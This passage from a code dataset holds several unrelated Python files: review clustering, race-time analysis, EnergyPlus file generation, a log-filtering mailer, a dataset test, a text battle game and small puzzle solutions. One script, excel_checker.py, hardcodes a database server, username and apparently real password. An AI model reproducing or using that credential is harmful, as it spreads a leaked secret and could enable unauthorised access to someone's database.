in data_clusters:\n    #print(type(x))\n    keys = x.keys()\n    arr3 = []\n    for key in keys:\n        #print(key)`\n        arr = np.array(x[key])\n        #print(arr)\n        arr2 = []\n        for l in arr:\n            str1 = ' '.join(l)\n            arr2.append(str1)\n        arr3.append(arr2)\n        \nfinal=[]\n\nfor data in arr3:\n    for ind in data:\n        final.append(ind)\n        \ncamera_data_features_test_vector = vectorizer.transform(final)\ncamera_data_features_test = camera_data_features_test_vector.toarray()\n#print(camera_data_features_test_vector)\ntest_log_pred = rf_model.predict(camera_data_features_test)\n#print(test_log_pred)\n\nnp.save('Labelled_Reviews/final_clusters', test_log_pred)","sub_path":"code/test_randomforest_finalclusters.py","file_name":"test_randomforest_finalclusters.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"583137291","text":"from netkeiba_lib import time_list\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nwhile True:\n    # course = input('place?: ')\n    tr = input('track?: ')\n    dst = input('distance?: ')\n    data_frames = time_list(track=tr, distance=dst)\n    sub_frames = data_frames.groupby('race_id')\n    for name, sub_frame in sub_frames:\n        cen = (sub_frame - sub_frame.mean()) / sub_frame.std()\n        try:\n            res = pd.concat([res, cen])\n        except:\n            res = cen\n    else:\n        print(np.corrcoef(res['agari'], res['time']))\n        plt.scatter(res['agari'], res['time'] -  res['agari'], s=1)\n        plt.show()\n","sub_path":"time_analysis_01.py","file_name":"time_analysis_01.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"307903182","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Feb 23 14:16:32 2018\r\n\r\n@author: Navid\r\n\"\"\"\r\n\r\nfrom eppy.modeleditor import IDF\r\nimport numpy as np\r\nimport subprocess as sp\r\nimport pandas as pd\r\nfrom matplotlib import pyplot as plt\r\n\r\n#path to eenergy plud\r\niddfile = \"C:/EnergyPlusV8-8-0/PreProcess/IDFVersionUpdater/V8-8-0-Energy+.idd\"\r\n#path to original .idf\r\nfname1 = \"F:/Polito/ICTinBuildingdesign/Final/sim2/sim2.idf\"\r\nIDF.setiddname(iddfile)\r\nidf1 = IDF(fname1)\r\n\r\noccupancy_density_room = 0.1110\r\noccupancy_density_corridor = 0.080\r\nstd = 0.001\r\n\r\nnp.random.seed(0)\r\n\r\n#idf1.printidf()\r\n#print(\"**********************\")\r\n\r\n#Editing density of the wall,roof and the number of people\r\n\r\ndef create_idf():\r\n    for i in range(120):\r\n    #Density for wall and roof\r\n        idf1.idfobjects['MATERIAL'][4].Density = 1000 +(i*50)\r\n        #random noise(number of people inside)\r\n        for j in range(6):\r\n            density1 = np.random.normal(occupancy_density_room,std)\r\n            density2 = np.random.normal(occupancy_density_corridor,std)\r\n\r\n            if(j==1 or j==4):\r\n                idf1.idfobjects['PEOPLE'][j].Number_of_People = idf1.idfobjects['ZONE'][j].Floor_Area * abs(density2)\r\n                #print(abs(density2))\r\n            else:\r\n                idf1.idfobjects['PEOPLE'][j].Number_of_People = idf1.idfobjects['ZONE'][j].Floor_Area * abs(density1)\r\n                #print(abs(density1))\r\n        idf1.saveas(str(i)+'.idf')\r\n        print(str(i) + \"created\")\r\n        \r\ncreate_idf()\r\n\r\nprint(idf1.idfobjects['MATERIAL'][4].Density)        ","sub_path":"sim2/idfCreator2.py","file_name":"idfCreator2.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"243806552","text":"import re\nimport sys\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom builtins import len\nfrom subprocess import Popen, PIPE\n\nclass Filter:\n    \"\"\"Defines how to filter.\n    \"\"\"\n    #: This template will be filled by the date and the command.\n    _start_group_template = 'GROUP: {}\\n'\n    #: This template will be filled by the date and the command. \n    _end_group_template = 'END GROUP: {}\\n\\n'\n\n    def __init__(self, error_pattern=\"(error|warning)\", start_pattern=r\".*\",\n                 no_mail=False, mail_to=None, mail_from='unlog@localhost',\n                 mail_subject='Unlog report', start_group_pattern=None,\n                 end_group_pattern=None, mail_server='localhost'):\n        \"\"\"**PARAMETERS**\n\n    * *error_pattern* - A regular expression that match the lines containing the\n      errors. They will be displayed. Default: '(error|warning)'\n    * *start_pattern* - A regular expression that match the 1st line. Default: '(.*)'\n    * *no_mail* - Disable the sending of email. It has no effect if mail_to is\n      None. Default: False.\n    * *mail_to* - Email to address to which the output of the command must be sent.\n      Default: None\n    * *mail_from* - Which address the email must be send to. Default: 'unlog@localhost'\n    * *mail_subject* - The subject of the report email. Default: 'Unlog report'\n    * *start_group_pattern* - An optional regular expression matching the start\n       of a log group (eg the ouput of one command). Default: None.\n    * *end_group_pattern* - An optional regual expression matching the end of a\n      log group. Default: None.\n    * *mail_server* - The SMTP server to use. Can also be sendmail.\n        \"\"\"\n        self._stack = []\n        self._mail_lines = []\n        self._error_pattern = re.compile(error_pattern, re.I)\n        self._start_pattern = re.compile(start_pattern, re.I)\n        self._no_mail = no_mail\n        self._mail_to = mail_to\n        self._mail_from = mail_from\n        self._mail_subject = mail_subject\n        self._start_group_pattern = re.compile(start_group_pattern) \\\n                                    if start_group_pattern else None\n        self._end_group_pattern = re.compile(end_group_pattern) \\\n                                    if end_group_pattern else None\n        self._group_message = ''\n        self._mail_server = mail_server\n\n    def process_file(self, file):\n        \"\"\"Loop over each line of a file and process them with\n        :py:meth:`process_line`.\n        \"\"\"\n        for line in file:\n            self.process_line(line)\n        # We must print the stack when we reach the end of a file so that the\n        # errors located at the end are displayed.\n        self.print_stack()\n        self.send_mail()\n\n    def process_line(self, line):\n        \"\"\"Calls :py:meth:`check_start` for each line and add the line to the\n        stack unless it must be ignored. Finally call :py:meth:`check_end`.\n        \"\"\"\n        self.check_start(line)\n        if not self._must_ignore_line(line):\n            self._stack.append(line)\n        self.check_end(line)\n\n    def check_start(self, line):\n        \"\"\"Checks if the current line match the start group or start pattern. Empty\n        the stack if it matches a start pattern.\n        \"\"\"\n        if self._has_group_patterns()\\\n        and self._start_group_pattern.match(line):\n            m = self._start_group_pattern.match(line)\n            self._group_message = ' - '.join(m.groups())\n            start_group_message = self._start_group_template.format(self._group_message)\n            if self._must_display_sdout():\n                sys.stdout.write(start_group_message)\n            else:\n                self._mail_lines.append(start_group_message)\n        elif self._start_pattern.search(line):\n            self.print_stack()\n            self._stack = []\n\n    def print_stack(self):\n        \"\"\"Prints the stack to stdout or add the line the _email_lines list.\n        \"\"\"\n        if self.match() and self._must_display_sdout():\n            for line in self._stack:\n                sys.stdout.write(line)\n        elif self.match():\n            self._mail_lines.extend(self._stack)\n\n    def match(self):\n        \"\"\"Returns True if at least a line of the stack matche the error pattern.\n        \"\"\"\n        for line in self._stack:\n            if self._error_pattern.search(line):\n                return True\n\n    def _must_display_sdout(self):\n        \"\"\"Returns True must the output must be displayed on stdout.\n        \"\"\"\n        return self._no_mail or self._mail_to is None\n\n    def send_mail(self):\n        \"\"\"Send the msg using the localhost as SMTP server. If no SMTP server is\n        available on localhost, it will crash.\n        \"\"\"\n        if self._must_send_email():\n            msg = self._prepare_message()\n            self._send_message(msg)\n\n    def _must_send_email(self):\n        \"\"\"Returns True if the output must be send by email.\n\n        If there is no data to unlog, no email is send.\n        \"\"\"\n        self._filter_mail_lines()\n        return not self._must_display_sdout() and self._mail_lines\n\n    def _filter_mail_lines(self):\n        \"\"\"Remove the start and end group lines if the group is empty.\"\"\"\n        # Remove the dict from the templates to use startwith.\n        start_group = self._start_group_template[:-3]\n        end_group = self._end_group_template[:-4]\n        for index in range(len(self._mail_lines) - 1):\n            if self._mail_lines[index].startswith(start_group) and\\\n            self._mail_lines[index + 1].startswith(end_group):\n                self._mail_lines[index] = ''\n                self._mail_lines[index + 1] = ''\n        self._remove_empty_string_in_mail_lines()\n\n    def _remove_empty_string_in_mail_lines(self):\n        self._mail_lines = [line for line in self._mail_lines if line]\n\n    def _prepare_message(self):\n        \"\"\"Prepare the _stack so it can be send by email.\n\n        **RETURN** - a MIMEText containing the message.\n        \"\"\"\n        msg = MIMEText(''.join(self._mail_lines))\n        msg['Subject'] = self._mail_subject\n        msg['From'] = self._mail_from\n        msg['To'] = self._mail_to\n\n        return msg\n\n    def _send_message(self, msg):\n        \"\"\"Send a MIMEText message or print an error to stderr in case of failure.\n        \"\"\"\n        try:\n            if self._mail_server.endswith('/sendmail'):\n                # Use sendmail instead of an SMTP server\n                p = Popen([\"/usr/sbin/sendmail\", \"-t\", \"-oi\"], stdin=PIPE)\n                p.communicate(msg.as_string())\n            else:\n                s = smtplib.SMTP(self._mail_server)\n                err = s.send_message(msg)\n                if err:\n                    print(err)\n                s.quit()\n        except Exception as e:\n            sys.stderr.write('Sending email failed with the following message:\\n')\n            sys.stderr.write(str(e))\n            sys.stderr.write('\\n')\n            sys.stderr.write('DEBUG: Message content:\\n\\n{}'.format(str(msg)))\n\n    def _must_ignore_line(self, line):\n        \"\"\"Returns True if the line must not be appended to the _stack.\n        \"\"\"\n        if self._has_group_patterns()\\\n        and (self._start_group_pattern.search(line) or self._end_group_pattern.search(line)):\n            return True\n        else:\n            return False\n\n    def _has_group_patterns(self):\n        \"\"\"Returns True if we must perform the checks that depend on group patterns.\n        \"\"\"\n        return self._start_group_pattern is not None\\\n            and self._end_group_pattern is not None\n\n    def check_end(self, line):\n        \"\"\"Append END GROUP to _stack if line matches the end_group_pattern and\n        displays it.\n        \"\"\"\n        if self._has_group_patterns() and self._end_group_pattern.match(line):\n            end_group_message = self._end_group_template.format(self._group_message)\n            self.print_stack()\n            self._stack = []\n            if self._must_display_sdout():\n                sys.stdout.write(end_group_message)\n            else:\n                self._mail_lines.append(end_group_message)\n","sub_path":"unlog/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":8097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"9699550","text":"############################################################################\n#                                                                          #\n# Copyright (c) 2019-2022 Carl Drougge                                     #\n# Modifications copyright (c) 2020 Anders Berkeman                         #\n#                                                                          #\n# Licensed under the Apache License, Version 2.0 (the \"License\");          #\n# you may not use this file except in compliance with the License.         #\n# You may obtain a copy of the License at                                  #\n#                                                                          #\n#  http://www.apache.org/licenses/LICENSE-2.0                              #\n#                                                                          #\n# Unless required by applicable law or agreed to in writing, software      #\n# distributed under the License is distributed on an \"AS IS\" BASIS,        #\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #\n# See the License for the specific language governing permissions and      #\n# limitations under the License.                                           #\n#                                                                          #\n############################################################################\n\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\ndescription = r'''\nVerify the dataset_hashpart method with various options.\n'''\n\nfrom datetime import date\n\nfrom accelerator import subjobs\nfrom accelerator.dataset import DatasetWriter, Dataset\nfrom accelerator.dsutil import typed_writer\n\ndata = [\n\t{\"a column\": \"text\", \"also a column\": b\"octets\", \"number\": 10, \"date\": date(1978, 1, 1)},\n\t{\"a column\": \"a\", \"also a column\": b\"0\", \"number\": -900, \"date\": date(2009, 1, 1)},\n\t{\"a column\": \"b\", \"also a column\": b\"1\", \"number\": -901, \"date\": date(2009, 1, 2)},\n\t{\"a column\": \"c\", \"also a column\": b\"2\", \"number\": -902, \"date\": date(2009, 1, 3)},\n\t{\"a column\": \"d\", \"also a column\": b\"3\", \"number\": -903, \"date\": date(2009, 1, 4)},\n\t{\"a column\": \"e\", \"also a column\": b\"4\", \"number\": -904, \"date\": date(2009, 1, 5)},\n\t{\"a column\": \"f\", \"also a column\": b\"5\", \"number\": -905, \"date\": date(2009, 1, 6)},\n\t{\"a column\": \"g\", \"also a column\": b\"6\", \"number\": -906, \"date\": date(2009, 1, 7)},\n\t{\"a column\": \"h\", \"also a column\": b\"7\", \"number\": -907, \"date\": date(2009, 1, 8)},\n\t{\"a column\": \"i\", \"also a column\": b\"8\", \"number\": -908, \"date\": date(2009, 1, 9)},\n\t{\"a column\": \"j\", \"also a column\": b\"9\", \"number\": -909, \"date\": date(2009, 2, 1)},\n\t{\"a column\": \"k\", \"also a column\": b\"Z\", \"number\": -999, \"date\": date(2009, 3, 1)},\n\t{\"a column\": \"l\", \"also a column\": b\"Y\", \"number\": -989, \"date\": date(2009, 4, 1)},\n\t{\"a column\": \"m\", \"also a column\": b\"X\", \"number\": -979, \"date\": date(2009, 5, 1)},\n\t{\"a column\": \"n\", \"also a column\": b\"W\", \"number\": -969, \"date\": date(2009, 6, 1)},\n\t{\"a column\": \"o\", \"also a column\": b\"V\", \"number\": -959, \"date\": date(2009, 7, 1)},\n\t{\"a column\": \"p\", \"also a column\": b\"A\", \"number\": -949, \"date\": date(2009, 8, 1)},\n\t{\"a column\": \"q\", \"also a column\": b\"B\", \"number\": -939, \"date\": date(2009, 9, 1)},\n\t{\"a column\": \"r\", \"also a column\": b\"C\", \"number\": -929, \"date\": None},\n\t{\"a column\": \"s\", \"also a column\": b\"D\", \"number\": None, \"date\": date(1970, 1, 1)},\n\t{\"a column\": \"B\", \"also a column\": None, \"number\": -242, \"date\": date(1970, 2, 3)},\n\t{\"a column\": None, \"also a column\": b\"F\", \"number\": -123, \"date\": date(1970, 4, 1)},\n]\nbonus_data = [\n\t{\"a column\": \"foo\", \"also a column\": b\"bar\", \"number\": 42, \"date\": date(2019, 4, 10)},\n]\ncolumns = {\n\t\"a column\": (\"ascii\", True),\n\t\"also a column\": (\"bytes\", True),\n\t\"number\": (\"int32\", True),\n\t\"date\": (\"date\", True),\n}\n\ndef write(data, columns=columns, **kw):\n\tdw = DatasetWriter(columns=columns, **kw)\n\tw = dw.get_split_write_dict()\n\tfor values in data:\n\t\tw(values)\n\treturn dw.finish()\n\ndef verify(slices, data, source, previous=None, **options):\n\tjid = subjobs.build(\n\t\t\"dataset_hashpart\",\n\t\tdatasets=dict(source=source, previous=previous),\n\t\toptions=options,\n\t)\n\thl = options[\"hashlabel\"]\n\th = typed_writer(columns[hl][0]).hash\n\tds = Dataset(jid)\n\tgood = {row[hl]: row for row in data}\n\tnames = list(source.columns)\n\tfor slice in range(slices):\n\t\tfor row in ds.iterate_chain(slice, names):\n\t\t\trow = dict(zip(names, row))\n\t\t\tassert h(row[hl]) % slices == slice, \"row %r is incorrectly in slice %d in %s\" % (row, slice, ds)\n\t\t\twant = good[row[hl]]\n\t\t\tassert row == want, '%s (rehashed from %s) did not contain the right data for \"%s\".\\nWanted\\n%r\\ngot\\n%r' % (ds, source, hl, want, row)\n\twant_lines = len(data)\n\tgot_lines = ds.chain().lines()\n\tassert got_lines == want_lines, '%s (rehashed from %s) had %d lines, should have had %d' % (ds, source, got_lines, want_lines,)\n\treturn ds\n\ndef verify_empty(source, previous=None, **options):\n\tjid = subjobs.build(\n\t\t\"dataset_hashpart\",\n\t\tdatasets=dict(source=source, previous=previous),\n\t\toptions=options,\n\t)\n\tds = Dataset(jid)\n\tchain = ds.chain_within_job()\n\tassert list(chain.iterate(None)) == [], \"source=%s previous=%s did not produce empty dataset in %s\" % (source, previous, ds,)\n\tassert chain[0].previous == previous, \"Empty %s should have had previous=%s, but had %s\" % (ds, previous, chain[0].previous,)\n\ndef synthesis(params):\n\tds = write(data)\n\tfor colname in data[0]:\n\t\tverify(params.slices, data, ds, hashlabel=colname)\n\t# ok, all the hashing stuff works out, let's test the chaining options.\n\tbonus_ds = write(bonus_data, name=\"bonus\", previous=ds)\n\t# no chaining options - full chain\n\tverify(params.slices, data + bonus_data, bonus_ds, hashlabel=\"date\")\n\t# just the bonus ds\n\tverify(params.slices, bonus_data, bonus_ds, hashlabel=\"date\", length=1)\n\t# built as a chain\n\tverify(params.slices, data + bonus_data, bonus_ds, hashlabel=\"date\", chain_slices=True)\n\t# normal chaining\n\ta = verify(params.slices, data, ds, hashlabel=\"date\")\n\tb = verify(params.slices, data + bonus_data, bonus_ds, hashlabel=\"date\", previous=a)\n\tassert b.chain() == [a, b], \"chain of %s is not [%s, %s] as expected\" % (b, a, b)\n\t# chain_slices sparseness\n\tempty = write([], name=\"empty\")\n\tverify_empty(empty, hashlabel=\"date\")\n\tverify_empty(empty, hashlabel=\"date\", chain_slices=True)\n\tds = verify(params.slices, [], empty, hashlabel=\"date\", chain_slices=True)\n\t# two populated slices with the same data, should end up in two datasets.\n\tdw = DatasetWriter(columns=columns, name=\"0 and 2\", allow_missing_slices=True)\n\tdw.set_slice(0)\n\tdw.write_dict(data[0])\n\tdw.set_slice(2)\n\tdw.write_dict(data[0])\n\tds = verify(params.slices, [data[0], data[0]], dw.finish(), hashlabel=\"date\", chain_slices=True)\n\tgot_slices = len(ds.chain())\n\tassert got_slices == params.slices, \"%s (built with chain_slices=True) has %d datasets in chain, expected %d.\" % (ds, got_slices, params.slices)\n\n\t# test varying types and available columns over the chain (including the hashlabel type)\n\tv1 = write([{'a': '101', 'b':  201 }], columns={'a': 'ascii',  'b': 'int32'}, name='varying1')\n\tv2 = write([{'a':  102 , 'c': '202'}], columns={'a': 'number', 'c': 'ascii'}, name='varying2', previous=v1)\n\tv3 = write([{'a':  103             }], columns={'a': 'int32'               }, name='varying3', previous=v2)\n\thashed_varying = subjobs.build(\"dataset_hashpart\", source=v3, hashlabel=\"a\").dataset().chain()\n\tassert len(hashed_varying) == 3\n\tfor unhashed, hashed in zip([v1, v2, v3], hashed_varying):\n\t\tassert {n: dc.type for n, dc in unhashed.columns.items()} == {n: dc.type for n, dc in hashed.columns.items()}\n\t\tassert list(unhashed.iterate(0)) == list(hashed.iterate(None))\n\t\tassert hashed.hashlabel == 'a'\n\t\thash_t = unhashed.columns['a'].type\n\t\thash_v = next(unhashed.iterate(0, 'a'))\n\t\twant_slice = typed_writer(hash_t).hash(hash_v) % params.slices\n\t\tassert hashed.lines[want_slice] == 1\n","sub_path":"accelerator/test_methods/a_test_hashpart.py","file_name":"a_test_hashpart.py","file_ext":"py","file_size_in_byte":7924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"479897904","text":"import couchimporter\r\nimport csv\r\nfrom dateutil import parser\r\nimport datetime\r\n\r\ndefined_result_table_view  = \" dbo.result.id, resultDate, week, dbo.result.productId, dbo.result.websiteId, categoryId, questionId, value, score, dbo.result.recordId, region, country, url, year, productCategory, productName, sku FROM dbo.result INNER JOIN dbo.location ON dbo.result.websiteId = dbo.location.websiteId INNER JOIN dbo.webshot ON dbo.result.recordId = dbo.webshot.recordId INNER JOIN dbo.product ON dbo.result.productId = dbo.product.productId \"\r\ndef formatify(dt):\r\n    dr = datetime.datetime.strptime(dt, \"%d/%m/%Y\")\r\n    return dr.date().strftime(\"%Y-%m-%d\")\r\n\r\ndef loadCSVCheckfileAsDictionary(csvname):\r\n    result = {}\r\n    result[\"match\"] = []\r\n    result[\"matchCount\"] = 0\r\n    result[\"noMatch\"] = []\r\n    result[\"noMatchCount\"] = 0\r\n    result[\"total\"] = 0\r\n    result[\"records\"] = {}\r\n    with open(csvname) as csvfile:\r\n        contents = csv.reader(csvfile, delimiter=',')\r\n        for row in contents:\r\n            _id = 'RESULT@' + formatify(str(row[1])) + \"@\" + row[5] + \"@\" + row[4]\r\n            key = _id\r\n            if(True):\r\n                if (not couchimporter.check_if_exists_in_dictionary(key, result[\"records\"])):\r\n                    result[\"records\"][key] = {}\r\n                    result[\"total\"] = result[\"total\"] + 1\r\n    return result\r\n\r\ndef loadResultDictionary(csvname):\r\n    result = {}\r\n    with open(csvname) as csvfile:\r\n        contents = csv.reader(csvfile, delimiter=',')\r\n        with open(csvname) as csvfile:\r\n            for row in contents:\r\n                _id = 'RESULT@' + str(row[1]) + \"@\" + row[3] + \"@\" + row[4]\r\n                key = _id\r\n                if (not couchimporter.check_if_exists_in_dictionary(key, result)):\r\n                    result[key] = {}\r\n                    result[key][\"_id\"] = _id\r\n                    result[key][\"website_id\"] = row[4]\r\n                    result[key][\"product_id\"] = row[3]\r\n                    result[key][\"website_country\"] = row[11]\r\n                    result[key][\"website_region\"] = row[10]\r\n                    result[key][\"answers\"] = []\r\n                    result[key][\"answers\"].append({'question_id': row[6], 'score': row[8]})\r\n                    result[key][\"product_name\"] = row[15]\r\n                    result[key][\"product_category\"] = row[14]\r\n                    result[key][\"year\"] = row[13]\r\n                    result[key][\"week\"] = row[2]\r\n                    result[key][\"template_id\"] = \"WEEK_TEMPLATE@\" + str(row[13]) + \"@\" + row[4]\r\n                else:\r\n                    result[key][\"answers\"].append({'question_id': row[6], 'score': row[8]})\r\n    return result\r\n\r\ndef analyze(checkfile, dbrecord):\r\n    for record_key in checkfile[\"records\"].keys():\r\n        if couchimporter.check_if_exists_in_dictionary(record_key, dbrecord):\r\n            checkfile[\"matchCount\"] += 1\r\n            checkfile[\"match\"].append(record_key)\r\n        else:\r\n            checkfile[\"noMatchCount\"] += 1\r\n            checkfile[\"noMatch\"].append(record_key)\r\n\r\nif __name__ == \"__main__\":\r\n    server   = 'tcp:msdetail.database.windows.net'\r\n    username = 'detail'\r\n    password = 'AxosDAQCWv3KcBJL'\r\n    database = 'msdetail'\r\n\r\n    checkfile = loadCSVCheckfileAsDictionary(\"powerbi.csv\")\r\n    dictionary = loadResultDictionary(\"result_from_query2.csv\")\r\n    analyze(checkfile, dictionary)\r\n    #print(dictionary)\r\n    print(\"Total Records: \" + str(checkfile[\"total\"]))\r\n    print(\"Number of Match: \" + str(checkfile[\"matchCount\"]))\r\n    print(\"Number of Mismatch: \" + str(checkfile[\"noMatchCount\"]))\r\n    print(\"------------------\")\r\n    #for r_key in checkfile[\"noMatch\"]:\r\n    #    print(r_key)","sub_path":"excel_checker.py","file_name":"excel_checker.py","file_ext":"py","file_size_in_byte":3700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"540021862","text":"# newton method, f(x) = x^2 - N, 求f(x)=0的根\n# x_n+1 = x_n-y_n/y_n' = x_n-(x_n^2-N)/2*x_n = (x_n + N/x_n) / 2\nclass Solution(object):\n    def mySqrt(self, x):\n        \"\"\"\n        :type x: int\n        :rtype: int\n        \"\"\"\n        r = x\n        while r * r > x:\n            r = (r + x / r) / 2\n        return r","sub_path":"src/main/java/com/practice/python/sqrt.py","file_name":"sqrt.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"407658365","text":"# -*- coding: utf-8 -*-\n\n\ndef lista_divisores(n):\n    lidiv = []\n    for i in range(1, int((n / 2) + 1)):\n        if (n % i == 0):\n            lidiv.append(i)\n    return lidiv\n\n\ndef sum_divisores(n):\n    lidiv = lista_divisores(n)\n    sumatorio = 0\n    for div in lidiv:\n        sumatorio += div\n    return sumatorio\n\n\ndef result():\n    suma = 0\n    for n in range(1, 10000):\n        if (n == sum_divisores(sum_divisores(n))):\n            if (n != sum_divisores(n)):\n                # lista_amigos.append(n)\n                suma += n\n\n    return suma\n","sub_path":"projecteuler/problems/d0000/p0021/r0021.py","file_name":"r0021.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"273667720","text":"import random as r\nimport time as t\ns=\"Ready to battle\"\ndchance=5\ncoins=0\ndef multiplayer():\n    sta=[]\n    playernumber=2\n    for letter in s:\n        print(letter,end='')\n        t.sleep(0.04)\n    print()\n    while True:\n        print(\"number of players?\")\n        playernumber=int(input())\n        if playernumber<=1 or playernumber>=5:\n            print(\"INVALID!\")\n        else:\n            break\n    playerhealth=[100,100,100,100,100]\n    playersp=[True,True,True,True,True]\n    done=False\n    while done==False:\n        for i in range(playernumber):\n            if(playerhealth[i]<=0):\n                continue\n            crichance=[5,5,5,5,5]\n            print(\"Player \",end='')\n            print(i+1,end='')\n            print(\"'s turn\")\n            print(\"Does Player \",end='')\n            print(i+1,end=' ')\n            print(\"believes in his/her luck?(y/n)\")\n            luck=input()\n            if(luck==\"y\"):\n                num=int(input(\"Guess a number(0,100):\"))\n                ans=r.randint(0,100)\n                comc=r.randint(0,100)\n                print(\"Computer chooses \",end='')\n                print(comc)\n                comc=abs(comc-ans)\n                num=abs(num-ans)\n                print(\"The answer was\",end='')\n                print(ans)\n                if comc==num:\n                    print(\"Nothing happens.\")\n                elif comc<num:\n                    print(\"No chance of critical hit\")\n                    crichance[i]=0\n                else:\n                    print(\"+%5 chance of critical hit\")\n                    crichance[i]+=5\n            print(\"1.repair(5% chance of +20hp,otherwise +5hp)\")\n            print(\"2.normal attack(computer -10hp, critical hit -15hp)\")\n            print(\"3.Superpower(can only use one time, damage varies randomly from 5 to 30)\")\n            choice=int(input())\n            if(choice<1 or choice>3):\n                print(\"INVALID! SINCE YOU ENTERED THE WRONG NUMBER INTENSIONALLY, THE GAME IS OVER. YOU ALL LOSE!\")\n                return;\n            if choice==1:\n                randn=r.randint(1,100)\n                if(randn>=1 and randn<=5):\n                    playerhealth[i]+=20\n                else:\n                    playerhealth[i]+=5\n                print(\"Player \",end='')\n                print(i+1,end=\"'s health: \")\n                print(playerhealth[i])\n            elif(choice==2):\n                print(\"Who do you want to hit?\")\n                for i in range(playernumber):\n                    print(i+1,end='.')\n                    print(\"Player\",end='')\n                    print(i+1,end='')\n                    print(\"HP: \",end='')\n                    print(playerhealth[i])\n                hitplayer=int(input())\n                if(hitplayer<=0 or hitplayer>playernumber):\n                    print(\"INVALID! SINCE YOU ENTERED THE WRONG NUMBER INTENSIONALLY, THE GAME IS OVER. YOU ALL LOSE!\")\n                    return;\n                hitplayer=hitplayer-1\n                randn=r.randint(1,100)\n                if(randn>=1 and randn<=crichance[i]):\n                    playerhealth[hitplayer]-=15\n                    print(\"CRITICAL HIT!!!\")\n                else:\n                    playerhealth[hitplayer]-=10\n                print(\"Player \",end='')\n                print(hitplayer+1,end=\"'s health: \")\n                print(playerhealth[hitplayer])\n            else:\n                if(playersp[i]==False):\n                    print(\"What did I say earlier? You wasted you turn.\")\n                    continue\n                playersp[i]=False\n                randn=r.randint(5,30)\n                print(\"Who do you want to hit?\")\n                for i in range(playernumber):\n                    print(i+1,end='.')\n                    print(\"Player\",end='')\n                    print(i+1,end='')\n                    print(\"HP: \",end='')\n                    print(playerhealth[i])\n                hitplayer=int(input())\n                if(hitplayer<=0 or hitplayer>playernumber):\n                    print(\"INVALID! SINCE YOU ENTERED THE WRONG NUMBER INTENSIONALLY, THE GAME IS OVER. YOU ALL LOSE!\")\n                    return;\n                hitplayer-=1\n                playerhealth[hitplayer]-=randn\n                print(\"You did \",end='')\n                print(randn,end=\" damage.\\n\")\n                print(\"Player \",end='')\n                print(hitplayer+1,end=\"'s health: \")\n                print(playerhealth[hitplayer])\n            peopleAlive=False\n            First=False\n            people=0\n            person=1\n            for i in range(playernumber):\n                if(playerhealth[i]<=0):\n                    print(\"Player \",end='')\n                    print(i+1,end=\" is dead.\\n\")\n                    sta.append(i+1)\n                    if First==True:\n                        peopleAlive=True\n                    else:\n                        First=True\n                        person=i\n                else:\n                    people+=1\n            if people==1:\n                done=True\n                sta.append(person+1)\n                break\n    for i in range(playernumber):\n        if playerhealth[i+1]>0:\n            print(\"Player \"+str(i)+\" wins!\")\ndef singlePlayer(dchancperc):\n    global coins\n    global dchance\n    name=input(\"Name:\")\n    for letter in s:\n        print(letter,end='')\n        t.sleep(0.04)\n    for i in range(1,4):\n        print('.',end='')\n        t.sleep(0.1)\n    print('.')\n    computer=100\n    player=100\n    supow=False\n    while True:\n        chancperc=dchancperc\n        ch=input(\"Do you believe in your luck?(y/n)\")\n        if(ch=='y' or ch=='Y'):\n            choice=input(\"Rock, paper, or scissors?\")\n            comchoice=r.randint(1,3)\n            if(comchoice==1):\n                print(\"computer chooses rock\")\n                if(choice.lower()==\"paper\"):\n                    print(\"+10% chance of critical hit.\")\n                    chancperc+=10\n                elif(choice.lower()==\"scissors\"):\n                    print(\"no chance of critical hit.\")\n                    chancperc=0\n                else:\n                    print(\"Nothing happens.\")\n            elif(comchoice==2):\n                print(\"computer chooses paper\")\n                if(choice.lower()==\"scissors\"):\n                    print(\"+10% chance of critical hit.\")\n                    chancperc+=10\n                elif(choice.lower()==\"rock\"):\n                    print(\"no chance of critical hit.\")\n                    chancperc=0\n                else:\n                    print(\"Nothing happens.\")\n            else:\n                print(\"computer chooses scissors\")\n                if(choice.lower()==\"rock\"):\n                    print(\"+10% chance of critical hit.\")\n                    chancperc+=10\n                elif(choice.lower()==\"paper\"):\n                    print(\"no chance of critical hit.\")\n                    chancperc=0\n                else:\n                    print(\"Nothing happens.\")\n        print(\"YOUR TURN\")\n        print(\"1.repair(5% chance of +20hp,otherwise +5hp)\")\n        print(\"2.normal attack(computer -10hp, critical hit -15hp)\")\n        print(\"3.Super power(can only use one time, damage varies randomly from 5 to 30)\")\n        atachoice=int(input(\"What do you chose(1,2,3)?: \"))\n        if(atachoice==2):\n            randn=r.randint(1,100)\n            if(randn>=1 and randn<=chancperc):\n                computer-=15\n                print(\"CRITICAL HIT!!!\")\n            else:\n                computer-=10\n        elif(atachoice==1):\n            randn=r.randint(1,100)\n            if(randn>=1 and randn<=5):\n                player+=20\n            else:\n                player+=5\n        else:\n            if(supow==False):\n                computer-=r.randint(5,30)\n                supow=True\n            else:\n                print(\"What did I say earlier? You wasted you turn.\")\n        if(computer<=0):\n            print(\"YOU WIN\")\n            coins+=player\n            break\n        print(name,\"hp:\",player)\n        print(\"computer hp:\",computer)\n        print(\"COMPUTER'S TURN\")\n        if(computer<=50):\n            randn=r.randint(1,100)\n            if(randn<=50):\n                